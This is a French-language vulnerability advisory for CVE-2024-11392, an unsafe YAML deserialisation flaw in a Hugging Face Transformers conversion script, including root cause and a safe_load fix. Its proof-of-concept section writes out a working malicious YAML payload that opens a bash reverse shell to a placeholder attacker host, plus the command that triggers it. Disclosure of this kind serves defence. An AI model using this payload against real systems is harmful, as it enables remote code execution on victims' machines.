
Détails techniques et exploit pour CVE-2024-11392
Aperçu général et effets de la vulnérabilité :
La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur la machine hôte en fournissant un fichier de configuration malveillant au script convert_mlcvnets_to_pytorch.py dans le dépôt Hugging Face Transformers.
Si un utilisateur peu méfiant utilise un modèle tiers accompagné d'un fichier de configuration malveillant, l'exécution du script convert_mlcvnets_to_pytorch.py conduira à une exécution de code à distance (RCE) sur le système de la victime.
Le produit vulnérable
Analyse des causes racines
Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise la fonction yaml.load avec le chargeur FullLoader, qui charge la totalité du langage YAML et est vulnérable à l'exécution de code.
Flux de code de l'entrée à la condition vulnérable :
ml-cvnet tiers accompagné de son fichier de configuration.convert_mlcvnets_to_pytorch.py et lui transmet le fichier de configuration.convert_mlcvnets_to_pytorch.py désérialise le fichier de configuration et exécute le code malveillant.Point d'injection : La vulnérabilité se produit au point où yaml.load(yaml_file, Loader=yaml.FullLoader) est appelé.
Lien GitHub : https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Corrections suggérées : Remplacez yaml.load(yaml_file, Loader=yaml.FullLoader) par yaml.safe_load(yaml_file) pour empêcher l'exécution de code arbitraire.
Instructions pour exécuter la preuve de concept :
transformers_exploit.yaml qui ouvrira un shell inversé sur le système de la victime :!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py et transmettez le fichier transformers_exploit.yaml à --orig_config_path :> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Remarque : Le fichier dummy_checkpoint.pt peut rester vide, dummy_output peut être un répertoire vide , et task peut être l'une des options mentionnées dans le script.
Lien de téléchargement du logiciel : https://github.com/huggingface/transformers/tree/main